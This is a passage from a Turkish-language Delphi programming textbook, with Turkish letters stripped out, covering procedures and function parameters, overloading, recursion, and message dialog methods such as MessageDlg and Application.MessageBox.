Bu rnekteki ama buttona tklanld zaman EditBoxn ierisindeki veriyi bildir isimli prosedre parametre olarak gndermektir. Ardndan prosedrdeki kod iletilerek, ekranda gzken uyary kullancya iletmektir. Burada bildir isimli prosedrn ierisine yazm olduunuz kodu procedure TForm1.Button2Click(Sender: TObject) yordamna da yazabilirdiniz. Ayn sonucu almakla beraber, burada extra bir incelik bulunmaktadr. ayet bu kodu baka yerlere de yazmanz gerekirse, hele de prosedr ierisindeki kodlar uzun ve karmaksa sizin iin ok skc bir durum (Amerikay ikinci kez kefetmek sanyorum fazla zevk vermeyecektir. Hatta skc bile olabilir.) yaratacaktr. Onun iin tekrarlanacak olan kod satrlarn bir prosedr ierisinde depolayp saklarsanz, dilediiniz zaman arp kullanabilirsiniz. Aada tek parametre ieren bir prosedr tanmlanm olup, buttona tklannca iletilebilmektedir. 120

imdi buttona tklarsanz, EditBox kontrol ierisindeki bilginin mesaj penceresi ierii olarak karnza geldiini greceksiniz. Birden Fazla Parametreli Prosedr Tanmlamak: Baz durumlarda prosedrnz birden fazla parametre kullanmak zorunda kalabilir. Bu tip durumlarda izleyeceiniz yol aada belirtilmitir. procedure kimlik(deiken1:AnsiString; deiken2:Integer); begin // letilecek Olan Kod Buraya Yazlacak end; Birden fazla parametreli prosedr tanmlamak, tek parametreli prosedr tanmlamaktan hite zor deil. Aralarna ; koyarak dilediiniz sayda parametre belirleyebilirsiniz. Tanmladnz prosedrn sonuna ; eklemeyi unutmaynz, hatrlatmasn da yeri gelmiken yapalm. imdi formunuzun zerine iki adet Edit, bir adet Button kontrol yerletirerek aadaki tasarm oluturunuz. Ardndan projenizi altrp text kutularna deerleri girin ve buttona tklaynz.

121

rneimiz iin prosedr ierisine iki adet parametre (isim ve ya) yollanarak blok kodunun iletilmesi salanmaktadr.

Aadaki kodlar da formunuza ait Unit ierisinde gerekli olan yerlere ekleyiniz.

Prosedrde kullanlan #13#10 kod paras, mesaj penceresinde ikinci satra atlayp, yaz yazmaya devam etmek iin eklenmitir. Bu komutlar eklemezseniz, mesaj pencereniz btn ierii tek satrda gstermek zorunda kalacaktr. Bu ve buna benzer komutlar neredeyse btn dillerde ayn amala bir ok kere kullanlmaktadr.

122

Dizi Parametreli Prosedr Tanmlamak: Oluturacanz prosedr ierisinde parametre olarak kullanabilirsiniz. zlemeniz gereken yol aada verilmitir. dizi deikende

type hocalar=Array[0..2] of AnsiString; //nce tip Tanmlamay unutmaynz procedure egitmenler(isim:hocalar); //Prosedr tanmlanyor. begin //Prosedrn iletecei kodlar buraya yazlacak. end; Bu arada aadaki ekilde tanmlayacanz dizi deikenli prosedr Delphi kabul etmeyecektir. Dikkatli olunuz. Procedure egitmenler(isim:Array[0..2] of AnsiString); //Delphi hata mesaj verir.

123

Dinamik Dizi Parametreli Prosedr Tanmlamak: Prosedrnzn parametrelerini (birden fazla da olabilir) dinamik dizi olarak tanmlayabilir, prosedr ierisinde kolayca boyutlandrabilirsiniz. Aada dinamik dizi parametreli prosedre rnek verilmitir. procedure sertifika(isim:Array of AnsiString); //Dinamik dizi parametre //Dinamik dizi iin hata vermez Hata vermez begin // Gerekli olan prosedr kodlar buraya yazlacak. end; imdi konuyu anlamak asndan formunuza bir adet button kontrol ekleyerek aadaki kodlar altrnz.

Grld gibi prosedr ierisinde dinamik dizi deerlerini kullanmak hi de zor deildir. Olay sadece programcnn hayal gcne kalmtr. 124

Opsiyonel Parametreli Prosedr Tanmlamak: Prosedr tanmlarken baz parametrelerin opsiyonel olmasn isteyebilirsiniz. Yani kullanc bu parametreye dilerse deer gnderir, eer gerek grmezse sadece dier parametrelere programdan deer gndererek prosedr iletebilir. procedure eleman(isim:AnsiString;vasif:AnsiString=''); //opsiyonel parametreli prosedr tanmlanyor begin //letilecek olan kod buraya yazlacak. end;

Aadaki eleman isimli prosedr oluturup, button kontrolnn procedure TForm1.Button6Click(Sender: TObject) yordamna tkland zaman ileteceiniz kodu yazn.

125

imdi aadaki form tasarmn oluturup projenizi altrnz. Ardndan elemann isminin girilecei kutuyu doldurup (Meslei ksmn bo brakn) buttona tklayn. Karnza aadaki ekran grnts gelecektir (Ad Soyad var, meslek bilgisi vasfsz ii). Prosedrn tek parametreyle iletildii sanyorum dikkatinizi ekmitir.

Bu sefer de Meslek bilgisinin yazlaca text kutusuna deer girin ve projenizi altrn. Aadaki gibi hem Ad Soyad, hem de Meslek bilgisinin yazl olduu mesaj penceresi kullancy bilgilendirecektir.

kinci durumda prosedrn iki parametreyle iletildiini sanyorum belirtmeye gerek yok (ama biz yine de belirtelim). Opsiyonel parametreli bir prosedr tanmlamak iin yapmanz gereken tek ey, prosedr ierisinde opsiyonel deer alacak olan parametrelere default deer atamaktr. Default deer aktardnz parametrelere programdan deer gndermek veya gndermemek tamamen kullancya kalmtr. rneimizde dikkat ettiyseniz; prosedr, meslei ksm bo braklrsa (vasfsz eleman) tek parametreyle, doldurulursa iki parametreyle iletilerek kullanc bilgilendirilmektedir. Bu tip prosedrlerde opsiyonel parametre says tamamen programcya kalmtr. Dilediiniz kadar oluturabilirsiniz. 126

Delphide Fonksiyonlar: Fonksiyon tanmlama ilemi prosedr tanmlamaya ok benzer. Aralarndaki tek fark fonksiyondan geriye dnen deerin olmasdr (Aslda prosedrden de istenirse deer dndrlebilir. rneklerde alternatif olarak zmler verilmitir). Aada Delphide fonksiyonlarn nasl tanmlanacaklar gsterilmitir. function hesapla(ilk:Integer;son:Integer):Real; begin //Kodlar Buraya Yazlacak. //result:=Dndrlecek deer end; Function fonsiyon_adi(degiske1:Tip;degisken2:Tip):fonksiyon_Tipi; satr ile iki parametreli fonksiyon tanmlanabilir. Fonksiyonun programdan arlmasn aadaki ekilde yaptrabilirsiniz. procedure TForm3.Button1Click(Sender: TObject); var x,y:Integer; sonuc:Real; begin // kodlar buraya yazlacak //sonuc:=hesapla(x,y); //Fonksiyona parametreler yollanyor. end; imdi olay rnek zerinde izah edelim. Aadaki form tasarmn oluturup program altrnz.

Editlere rencinin vize notlarn girip buttona tklayn. Vize ortalamasnn hesaplanp, balkta yazdrldn greceksiniz. 127

Programn ileyiini salayan kodlar aada verilmitir. Pencerede ortalama deerin tanmlanm olan fonksiyon tarafndan hesaplattldna dikkatinizi ekmek istiyorum.

Kod satrlarn inceleyecek olursak, Editlere girilen deerler deikenlere aktarlp parametre olarak hesapla isimli fonksiyona yollanmaktadr. Srasyla fonksiyon bu parametreleri ilk ve son isimli deikenlerinin yerlerine koyarak sonucu hesaplamaktadr. Hesaplanan deer, sonuc (Geriye dnen deerle bu kastedilmektedir.) isimli deikene aktarlarak balkta yazdrlmaktadr. Fonksiyonlarda Ar Ykleme: Delphi ayn isme sahip farkl parametreli birden fazla fonksiyonu tanmlamanza izin vermektedir (Bu olaya fonksiyonlarda ar ykleme denir). Kod ierisinde iletecei fonksiyona, parametre saylarna ve tiplerine bakarak karar verir. Her ne kadar Delphi ayn isme sahip farkl parametreli fonksiyon tanmlanmasna izin versede, bunu programda bildirmelisiniz. Yani normal artlar altnda ayn isme sahip iki fonksiyon bildirisi, program tarafndan hata mesaj iletisi verilmesine sebep olacaktr. Bu hata mesajn engellemek iin overload bildirisini yapmanz (hem de iki fonksiyon iin yapmanz) gerekecektir. Bu bildiriden sonra programnz artk hata mesaj vermeyip, yazdnz kodlar ileterek sonular dndrecektir.

128

Aadaki gsterimde, ortalama isimli ayn ada sahip iki fonksiyon tanmlanmtr. function ortalama(ilk:Integer;son:Integer):Real;overload;//bildiri yapld begin //Gerekli kodlar buraya yazlacak //result:=Geriye dnecek deer end; function ortalama(ilk:Integer;orta:Integer;son:Integer):Real;overload;//bildiri begin //result:=Geriye dnecek deer end; Sanyorum fark ettiniz; fonksiyonlarda geriye dnecek olan deer result ifadesiyle belirlenmektedir (c++ da return).

nemli olduu iin tekrar hatrlatalm, iki fonksiyonun sonuna da overload bildirisi ekleyerek ayn isimle iki fonksiyon tanmlayabilirsiniz. 129

Dizi Parametreli Fonksiyon Tanmlamak: Baz durumlarda fonksiyonunuza bir dizi deiken gnderip, elemanlarn deerleriyle ilgili ilemler yaptrabilirsiniz. Dizi deikenli fonksiyonlar aadaki yaklamla tanmlayabilirsiniz. function hesapyap(x:Array of Integer):Real; //Dizi parametresi ieriyor var //Deiken Tanmlamalar begin //Gerekli kodlar buraya yazlacak //result:=Dn deeri; end;

imdi de gndereceimiz dizi elemanlarnn toplamn hesaplayacak bir fonksiyon yazalm. Aadaki kod satrlarn projenize ekleyip altrnz.

130

Okek Hesaplayan Fonksiyon: Aadaki fonksiyonla, fonsiyona gnderilen dizi elemanlarnn okek lerini hesaplayabilirsiniz. Program iin verilen form tasarmn oluturup program altrnz.

Fonksiyonda kullanlan Floor ve MaxIntValue fonksiyonlar math ktphanesinde tanml olduu iin, bu ktphaneyi uses satrna eklemelisiniz. Eklendikten sonra uses satr aadaki gibi olmaldr. uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,math; //Eklemeyi unutmayn 131

imdi okek isimli bu fonksiyonu programdan nasl arabileceinizi gstereceim. Aadaki rnek tasarm oluturup, programnz altrnz.

Eklemi olduunuz Button kontrolnn procedure TForm4.Button2Click (Sender: TObject); yordamna da aadaki kodlar ekleyin.

Button kontrolne mous ile tklama yaparsanz okek deerinizin hesaplanp etiketinizde gsterildiini greceksiniz. Yaplan ilem; ListBox kontrolndeki elemanlar bir dinamik dizi deikenine aktarp, fonksiyona parametre olarak gndermekten ibarettir.

132

Obeb Hesaplayan Fonksiyon: Bu ksmda ortak blenlerin en by olarak adlandrlan Obeb fonksiyonunu yazacaz. Fonksiyona ait kodlar aada verilmitir.

Fonksiyonda ilk olarak dizinin en kk elemannn bulunmas gerekmektedir. Bu ilem deger:=MinIntValue(dizi) satryla gereklemektedir. Ardndan dizinin elemanlarnn hepsi en kk elemana blnmektedir. ayet bir tanesi bile tam blnemiyorsa, deer bir azaltlarak yine dizinin elemanlarnn tamamn tam blp blmedii kontrol edilmektedir. Btn dizi elemanlarn blen ilk say Obeb deeri olarak, prosedre geri yollanmaktadr. Bu fonksiyonda kullanlan MinIntValue fonksiyonu math ktphanesi olmadan kullanlamayaca iin uses satrna ekleme yaplmaldr. uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,math; //Eklemeyi unutmayn. 133

imdi de aadaki tasarm oluturup, ilgili yordamlara gerekli olan kodlar ekleyiniz.

Eklemi olduunuz Button kontrolnn procedure TForm4.Button3Click (Sender: TObject); yordamna da aadaki kodlar ekleyin.

Artk programnz altrp button kontrolne tklayabilirsiniz. Tklamadan sonra ListBox kontrolnde mevcut olan elemanlar, bir dinamik dizi deikenine aktarlarak parametre olarak Obeb fonksiyonuna gnderilmektedir.

134

Fonksiyonlara Birden Fazla Deer Hesaplatmak: Delphide tek bir fonksiyon ierisinde birden fazla deer hesaplatp, programa gnderebilirsiniz. Dikkat etmeniz gereken birden fazla deer hesaplattracanz iin yapy Function eklinde deil, procedure eklinde tanmlamanz gerektiidir. Aada bu hususta rneklendirme yaplmtr. Procedure hesapla(parametre1:Integer;var Ilk:Integer;var son:Integer); Begin //Kodlar buraya yazlacak. Ilk:=Geriye dnecek olan ilk deer Son:=Geriye dnecek ikinci deer End; Dikkat edeceiniz bir baka hususta, programa gndereceiniz (Geriye dnecek olan deerler) deikenleri prosedr ierisinde var ile tanmlamanz gerektiidir. Yukardaki prosedr projeden aadaki ekilde arlabilecektir. procedure TForm5.Button1Click(Sender: TObject); var x:Integer; //Parametre olarak fonksiyona gnderilecek birinci,ikinci:Integer; begin x:=StrToInt(Edit1.Text); hesapla(x,birinci,ikinci); //prosedr iletiliyor. //Dier kodlar Buraya yazlacak end; Buradaki hassa nokta, prosedr ardnz zaman belirtmi olduunuz parametrelerden sadece x fonksiyona parametre olarak gnderilir. Fonksiyon bu deeri alr (birden fazla da olabilir) blok kodlarn iletip ilk ve son isimli deikenlerine deerlerini aktarr. Ardndan srasyla bu deerleri birinci ve ikinci isimli prosedrdeki deikenlere yazdrr. Buradan sonraki ksm tamamen size kalm, hesaplanm olan birinci ve ikinci isimli deikenlerin deerlerini istediiniz ekilde kullanabilirsiniz. nemli Husus: Prosedr ierisinde geriye dnecek olan deerleri tutacak olan deikenler muhakkak var bildirisiyle beraber tanmlanmaldr. Aksi takdirde sonu sizin iin hayal krkl yaratabilir.

135

imdi olay basit bir rnekle izah etmeye alalm. rneimizde prosedre gnderilen deikenin yarsn ve iki katn hasaplayacak tek bir prosedr tanmlayalm.

Yap isimli prosedr ierisinde geriye dnecek olan deikenlerin deerini tutmak iin var bildirisiyle kat ve yari isminde iki adet deiken tanmlanmtr (Ayrca parametre olarak gnderilecek deeri tutacak olan deger isimli deiken de tanmland). Daha sonra bu deikenlerin gsterecekleri deerleri hesaplamalar iin gerekli kod satrlar eklenmitir. Program ierisinden arlan prosedre x deikeninin deeri parametre olarak gnderilmi olup, hesaplatlan kat ve yari isimli deikenlerin deerleri de srasyla ikikat ve yarisi isimli dier deikenlere aktarlmtr. Artk bu deikenlerin deerlerini alt prosedr (ButtonClick) ierisinde dilediiniz ekilde kullanabilirsiniz. imdi biraz daha zor ve ok daha gzel bir rnek yapalm. rneimizde prosedre gnderilecek olan dinamik dizi deikenine ait elemanlarn Minimum, Maximum, Ortalama ve Toplam deerlerini hesaplatalm.

136

lk olarak aadaki form tasarmn oluturunuz. Ardndan prosedr kodlarn yazma ilemine geebilirsiniz.

kinci admda oluturacamz tek prosedrle dizi elemanna ait (Dizi deerlerini ListBox tan alacak) olan Min Max Ortalama ve Toplam deerlerini hesaplatacaz.

imdi de bu prosedr programdan arabilmeniz iin eklemeniz gereken kodlar verelim.

137

Aadaki prosedrn altrlabilmesi iin uses satrnn math ktphanesini eklemeyi unutmaynz (Nasl eklenecei yukarda aklanmtr).

Artk button kontrollerine teker teker tklayarak sonularnz grebilirsiniz. Bu tr zmler, sizlere ayn projeyi belli bir zaman sonra tekrar inceleme gerei duyduunuzda anlalabilirlik asndan ok byk kolaylk salayacaktr. O yzden iyi derecede anlamanz ve bol bol benzer rnekleri zmenizi tavsiye etmekteyiz. 138

Delphide Rekrsif Fonksiyonlar: Tanmlam olduunuz fonksiyon, kod blou ierisinde, kendi kendisini aryorsa bu tip fonksiyonlara Rekrsif fonksiyon denir. Aadaki faktryel hesaplayan rnek fonksiyonda, bu yapya ait kullanm ekli gsterilmektedir.

Rekrsif fonksiyonlarn projeden arlmas, dier fonksiyonlarn arldklar ekilde olup herhangi extra bir ilem uygulanmamaktadr. Aadaki projede, bu fonksiyonu nasl arabileceiniz gsterilmitir.

139

Fonksiyonlar kendi kendilerini arabilecekleri gibi, ayn ilemi prosedrler de yapabilmektedir. Aadaki rnek yapda, prosedr kendi ierisinde tekrar tekrar kendisini ararak sonsuz dng gibi davranabilmektedir.

Projenizi altrp button kontrolne tklarsanz Prestige Education Center mesaj devaml olarak ekrannzda gzkecektir. Rekrsif fonksiyon veya prosedrler baz durumlarda alma hz asndan yava kalabilirler. Oluturacanz fonksiyon ve prosedrler iin bu hatrlatmay hi unutmaynz.

140

BLM 6 BLGLENDRME PENCERELER

141

142

Mesaj Pencereleri: Daha nceki rneklerimizde basite yer verdiimiz mesaj pencerelerini, bu blmde detayl olarak inceleme imkan bulacaksnz. Delphide kullancy uyarmak, ikaz etmek veya ynlendirmek iin birden fazla method tanmlanmtr. Bu methodlardan hangisini kullanacanz tamamen size kalmtr. imdi bu methodlar teker teker inceleyelim. ShowMessage: Basit anlamda kullancy bilgilendirme amal kullanlabilen bir methoddur. Method ierisinde sadece tek parametre kullanlabilmektedir. ShowMessage(Mesaj); Program ierisinde kullanmna ait rnek aada verilmitir.

Program altrp button kontrolne tklarsanz, aadaki pencereyle karlarsnz.

Bu methodda alan pencerenin balk ismini belirlemeniz mmkn olmamaktadr. Pencerenizin balk ismi, projenizin ismi olarak Delphi tarafndan varsaylan ve deitirilemeyen deer olarak belirlenmektedir. Ayrca OK dmesinden baka tklayacak seeneinizde yoktur.

143

ShowMessagePos: Bu method da basit anlamda kullancy bilgilendirmek amal kullanlabilmektedir. ShowMessage methodundan fark ise pencerenin alaca koordinatlar belirleyebilmenizdir (Pencereyi ekranda istediiniz koordinatta atrabilirsiniz). Girilecek olan koordinat deerleri pencerenin sol st kesinin ekrandaki yerini belirleyecektir. ki koordinata da 0 deerini verirseniz, pencere ekrann sol st kesinde alacaktr. Aada yapya ait kullanm ekli verilmitir. ShowMessagePos('mesaj',x koordinat,y koordinat) Methodda yer alan ikinci ve nc parametre, pencerenin sol st kesinin ekrandaki koordinatlardr. Aada proje ierisindeki kullanmna ait rneklendirme yaplmtr.

Projeyi altrp button kontrolne tklarsanz aadaki ayn pencerenin almasn salarsnz.

Sadece pencerenin ald noktaya dikkat ederseniz, dier methoddan farkn greceksiniz. Pencere bal ve oluturulan button Delphi tarafndan belirlenip, deitirilme imkan bulunmamaktadr.

144

ShowMessageFmt Yine basit anlamda bilgilendirme yapabileceiniz, bir methoddur. kinci parametrede kullanacanz deikenler ile ilgili deerleri ilk string ierisinde kullanabilirsiniz. ShowMessageFmt('mesaj,params) imdi methodu daha iyi anlayabilmeniz iin bir rnek zelim.

Program altrdktan sonra button kontrolne tklarsanz, aadaki gibi bir pencereyle karlarsnz.

Bu methodda mesaj ierisinde kullanlan %d ler ile, ikinci parametrede belirtilen (sralamalar nemli) a ve b deikenleri arasnda balant oluturulup, bu deikenlerin deerlerinin mesaj penceresinde yazdrlmalar salanmaktadr. %d yerine kullanabileceiniz dier seenekler ve anlamlar aada tablo eklinde verilmitir. 145

%d %e %f %g %m %n %p %s %u %x

= Decimal (integer) = Scientific = Fixed = General = Money = Number (floating) = Pointer = String = Unsigned decimal = Hexadecimal

imdi ayn rnei parasal deerler iin yapalm, sanyorum daha net bir ekilde anlama imkan bulacaksnz. Aadaki kodlar formunuza ekleyip uygulamanz altrnz.

imdi button kontrolne tklarsanz ekran grntnz aadaki ekilde olacaktr.

Deerleri yazdrmak iin %m parametresi kullanld iin, deikenler parasal ierikli olarak (binlik ayra biemli ve sonunda para birimi yazl ekilde) mesaj penceresinde gsterileceklerdir. 146

MessageDlg: Kullancya seme ans veren pencereler amak iin kullanlan bir methoddur. Pencere ald zaman zerinde birden fazla button yerletirilebilecei iin, baslan dmenin numarasnn aktarlaca tamsay tipli bir deikene ihtiya duyar. Aadaki yapy dikkatlice inceleyiniz. var num : Integer; //Tam say tipli deikene aktarlmal begin num := MessageDlg('Mesaj',icon,Dme, 0); imdi de bu ilemi rneklendirelim.

Yazm olduumuz num := MessageDlg('Delphiyi Sevdiniz mi!',mtCustom,[mbYes,mbNo], 0); satrn inceleyecek olursak: Kullanlan ilk parametrede (Delphiyi Sevdiniz mi) pencerede kacak olan mesaj belirlenmektedir. Burada uyarnz ierisinde belirtebileceiniz gibi AnsiString tipte bir deiken deeri de kullanabilirsiniz (Eer tamsay veya baka tipteki matematiksel bir deikeni yazdracaksanz, tip dnm uygulamalsnz). var num : Integer; mesaj:AnsiString; begin mesaj:=Edit1.Text; num := MessageDlg(mesaj,mtCustom,[mbYes,mbNo], 0);

147

ayet string bir ierikle matematiksel bir deikenin deerini yanyana pencerede yazdrmak zorunda kalrsanz, aadaki ekilde bir yntem izlemelisiniz.

Program altrdktan karlarsnz.

sonra

buttona

tklarsanz

aadaki

pencereyle

Saysal ifadenin pencerede yazdrlabilmesi iin IntToStr , FloatToStr , CurrToStr veya DateTimeToStr vs. tip dntrme fonksiyonlarndan faydalanmalsnz. Ayrca iki string deikeni yanyana yazdrmak iin + operatrnden faydalanmaktayz. Gelelim ikinci parametreye (mtCustom), buraya aktaracanz deerle pencerenizde kmasn istediiniz iconu belirleyebilirsiniz. Parametre olarak kullanabileceiniz standart icon says 4 taneden olumaktadr. Ayn anda iki icon deeri kullanamayacanz belirterek, aadaki tabloda tm seenekler ve anlamlar sizlere sunulmutur (Pencerelerinizde kullanacanz iconlar programnzn akna uygun olacak ekilde belirlemelisiniz. Asla rastgele icon deeri kullanmaynz).

148

Kullanabileceiniz parametre deerleri ve anlamlar aada verilmitir.


Icon Seenekleri mtWarning mtError mtInformation mtConfirmation mtCustom Oluacak olan icon Arama Iconu Hata Iconu Danma Iconu Bilgilendirme Iconu Genel

Biz bunlardan mtWarning seeneini kullanarak penceremizde arama iconunun kmasn salayalm.

Program altrdktan sonra buttona tklarsanz aadaki ekran grntsyle karlarsnz.

Bu methodda pencerenizin baln belirleme ansnz yok. Dikkat ettiyseniz Delphi pencere bal olarak icon ismini varsaylan ve deitirilemeyen deer olarak belirlemitir. imdi ikinci parametreyle ilgili gzel bir rnek yapalm. Aadaki form tasarmn oluturup gerekli kod satrlarn da ekleyiniz. 149

imdi de aadaki kodlar formunuzun gerekli event larna ekleyiniz.

150

Programnz altrdktan sonra icon seeneklerinden birisini sein ve button kontrolne basn. Mesaj penceresinde semi olduunuz icona ait resim gzkecektir. imdi de pencerede kmasn istediiniz buttonlar belirleyebileceiniz nc parametremize geelim ([mbYes,mbNo]). Aadaki tabloda yaratabileceiniz tm dmeler ve bu dmelere ait deerler verilmitir. lerinden hangilerini isterseniz ekleyebilirsiniz.
Dme Seenekleri mbYes mbNo mbOK mbCancel mbAbort mbRetry mbIgnore mbAll mbNoToAll mbYesToAll mbHelp Oluacak Olan Dme 'Yes' button 'No' button 'OK' button 'Cancel' button 'Abort' button 'Retry' button 'Ignore' button 'All' button 'No to all' button 'Yes to all' button 'Help' button

Aada Yes No ve Cancel buttonlarn oluturabileceiniz kodlamay veriyorum.

Program altrdktan sonraki ekran grnts aada verilmitir. Dilerseniz daha fazla button oluturabilirsiniz. Mesaj penceresinde oluturabileceiniz dmelere ait gzel bir rnek yapmak istiyorum. 151

imdi aadaki kodlar formunuzun gerekli olan event larna ekleyip projenizi altrn.

Buradaki kodlarn yazld form tasarm aada verilmitir. Program altrdktan sonra Dme Seenekleri nden bir tanesini iaretleyerek, Button kontrolne tklaynz. ayet herhangi bir hata yapmadysanz, semi olduunuz dmelerin mesaj pencerenizin zerinde olumu olmalar gerekmektedir.

152

Gelelim drdnc parametreye (Bizim ablonda deeri 0), bu parametre help dosyas hazrlanm olan projeler iin nem arz etmektedir (Help dosyas hazrlamayla ilgili konular daha sonra izah edilecektir). Buraya girilecek deer help dosyasnda ayn numarayla linkli olarak alacak, yardm alnmak istenirse bu deer kullanlarak direkt aklamaya ulamanz mmkn olacaktr (Bu deere 0 verilmesi help dosyasnn olmad anlamn tamaktadr). Baslan Dmeye Gre Kod Satrlarn letmek: Birden fazla dmenin olduu mesaj pencerelerinde her buttona tklanlmas farkl kodlarn iletilmesini salayacaktr (Zaten yle olmasa birden fazla button oluturmak manasz olurdu). Methodun hangi dmeye basldn gsterebilmesi aktarld tam say tipli deiken sayesinde gerekleebilmektedir. Bu yzden, bu methoddan geriye dnen deer kesinlikle bir deikene aktarlmaldr. Deikenin deeri dallanmaya (if veya case) tabi tutularak, baslan dmeye gre istenilen kod iletilebilir. Aada bu olay rneklendirilmitir.

Program altrp button kontrolne tklarsanz, aadaki ekran grntsyle karlarsnz. Bu pencerede her deiik dmeye tklamanz farkl bir kod iletmenizi salayacaktr.

153

Baslan dme deerlerine ait tablo aada verilmitir. Aslnda tek yapmanz gereken mr karakterlerini dme isminin bana eklemekten ibaret olacaktr.
Baslan Dme mrYes mrNo mrOK mrCancel mrAbort mrRetry mrIgnore mrAll mrNoToAll mrYesToAll mrHelp Aklama 'Yes' button tkland 'No' button tkland 'OK' button tkland 'Cancel' button tkland 'Abort' button tkland 'Retry' button tkland 'Ignore' button tkland 'All' button tkland 'No to all' button tkland 'Yes to all' button tkland 'Help' button tkland

Baslan dme yukardaki deerini deikene aktarmaktadr. Daha sonra aktarlan deer kyaslanarak, iletilmesi gereken kodlar o bloa yazlmaktadr. Baslan dmelerin tam say deer karlklar da mevcuttur. Aada bu deerlerde verilmektedir.
Baslan Dme mrYes mrNo mrOK mrCancel mrAbort mrRetry mrIgnore mrAll mrNoToAll mrYesToAll Saysal Karl =6 =7 =1 =2 =3 =4 =5 =8 =9 = 10

Bu durumda yukarda yazm olduumuz kod satrlarn aadaki ekilde deitirebilirsiniz. Saysal deerleri hafzanzda tutamayacanz iin, ilk karlklaryla ilem yapmanz daha kolay olacaktr. Ama tercih tamamen sizlere kalmtr. 154

Yine ayn ekilde tkladnz dmeye ait kod blounu kolaylkla iletebilirsiniz. MessageDlgPos: Bu method, seenekli mesaj pencerelerinin almasn salamaktadr. MessageDlg ynteminden tek fark ekleyeceiniz iki parametreyle pencerenin alaca yerin kordinatlarn belirleyebilmenizdir. Aada bu methoda ait rneklendirme yaplmtr.

155

num := MessageDlgPos(mesaj,mtWarning,[mbYes,mbNo], 0,x,y) st satrda MessageDlgPos metodunun kullanm ekline ait yap gsterilmektedir. Son eklenen iki parametre (x ve y) formun sol st kesinin ekrandaki koordinat deerleridir. kisine de 0 verirseniz, mesaj pencereniz ekrannzn sol st kesine yapk vaziyette yerleecektir. Application.MessageBox: En ok kullanlan ve en iyi performans veren methoddur. Kullancya seenekli mesaj penceresi amak iin kullanlr. Bu methodda kullancnn tercih edebilecei dme says birden fazla olduu iin, baslan dmenin deerini tutabilecek tam say tipli bir deikene ihtiya vardr. Kullanm ekline ait yap aada verilmitir. Var Num:Integer; begin num:=Application.MessageBox('Mesaj',Balk,seenekler); Methodda opsiyonel (istenirse parametre gnderilmeyen) parametre olmad iin, tm parametrelere deer gndermek zorunludur. imdi tm parametreleri basitten zora doru inceleyelim. Birinci parametrede (Mesaj) pencerede gsterilmesi istenen aklama satr belirtilmelidir.

Yukardaki kod satryla kullancya Kayt Deitirilsin mi aklama satrn 156

ileten (Balk satr ve dmelerde oluturulmutur, bunlar birazdan incelenecektir.) bir pencere almasn salayabilirsiniz. Programn dmeye tklandktan sonraki ekran grnts aada verilmitir.

Kodda belirtilen aklama satrnn pencerenin ortasnda yer aldna dikkat ediniz. Gelelim ikinci parametreye (Balk), buraya gireceiniz metni, kullanc formun balnda grecektir. Yukardaki pencereye dikkat edecek olursanz, formun balnn bu metinle ayn olduunu greceksiniz. nc parametremiz (Seenekler) ise kendi arasnda bir ok opsiyonel parametresi bulunan bir seenekler kmesidir. Bu seeneklerden en az bir tanesini methodda belirtmelisiniz. Aksi takdirde uygulamanz almayacaktr. imdi bu seenekleri teker teker inceleyelim. num:=Application.MessageBox('Kayt Deitirilsinmi','Deitir', MB_YESNOCANCEL); lk olarak karabileceiniz buttonlar burada belirleyebilirsiniz. Yazabileceiniz seenekler aada verilmitir.
Dme Seenekleri MB_OK MB_OKCancel MB_YesNo MB_YesNoCancel MB_RetryCancel MB_AbortRetryIgnore Aklama Ok button Ok Cancel button Yes No button Yes-No-Cancel button Retry Cancel button Abort Retry Ignore button

Yukardaki kod satrnn ekran grnts st tarafta verilmitir. imdi seenek kmemizdeki ikinci alternatifimize bakalm. Pencerede standart iconlarmzdan bir tanesini kullanmay deneyelim. 157

Kodu aadaki ekilde deitirip uygulamanz tekrar altrn. num:=Application.MessageBox('Kayt Deitirilsinmi','Deitir', MB_YESNOCANCEL+MB_ICONSTOP);

Buttona tkladktan sonraki ekran grntnz aadaki gibi icon resmi ieren bir hal almaldr.

Kullanabileceiniz dier icon seeneklerini de tablo halinde sizlere verelim. Projenize uygun olann kullanabilirsiniz.
Icon Seenekleri MB_ICONSTOP MB_ICONQUESTION MB_ICONINFORMATION MB_ICONHAND MB_ICONEXCLAMATION MB_ICONASTERISK MB_ICONWARNING MB_ICONERROR MB_ICONMASK Aklama

imdi de nc seeneimizi inceleyelim. Tehlikeli ilemlerde (silme veya deitirme vs.) kullancnn yanllkla klavyeden bir tua basp Yes buttonunu 158

iletmesi ok kt sonular dourabilir. Bu yzden pencere ald zaman aktif buttonun No dmesi olmasn salamak, sizin iin bir alkanlk olmaldr. Bu ilemi nasl yapabileceiniz aada gsterilmitir.

MB_DEFBUTTON2 parametresi pencere ald zaman klavyeden enter tuuna baslmas durumunda No dmesine girilen kodun iletilmesini salayacaktr. num:=Application.MessageBox('Kayt Deitirilsinmi','Deitir', MB_YESNOCANCEL+MB_ICONMASK+MB_DEFBUTTON2); Kullanabileceiniz dier alternatifler tablo halinde aada verilmitir.
Default Button Seenekleri MB_DEFBUTTON1 MB_DEFBUTTON2 MB_DEFBUTTON3 MB_DEFBUTTON4 Aklama lk Button Aktif kinci button aktif nc button aktif Drdnc button aktif

Seenek kmemizde yer alan drdnc parametremiz, alacak olan mesaj penceresinin dier uygulamalarn en stnde mi yoksa altnda m kalacan belirlemektedir. Aada yapnn kullanmna ait rneklendirme yaplmtr. num:=Application.MessageBox('Kayt Deitirilsinmi', 'Deitir',MB_YESNOCANCEL +MB_ICONMASK+MB_DEFBUTTON2+ MB_SYSTEMMODAL); MB_SYSTEMMODAL seenei mesaj pencerenizin dier uygulamalarn nnde (en stte) yer almasn salayacaktr. Sonucu grmek iin mesaj

159

pencereniz akken Calc (veya herhangi) programn altrnz. Sonu aadaki gibi olacaktr.

Burada kullanabileceiniz iki seeneiniz var. Birincisi mesaj pencerenizin en stte kalmasn salayacak olan MB_SYSTEMMODAL, ikincisi ise dier uygulamalarnzn mesaj penceresinin zerinde olmasn salayacak (Varsaylan deer budur. Yazlmazsa da bunu kabul edecektir.) MB_APPLMODAL dr. Seenekleri yinede tablo halinde vermek sanrm yararl olacaktr.
Seenekler MB_SYSTEMMODAL MB_APPLMODAL MB_TASKMODAL Aklama Hep En stte Arkada Arkada

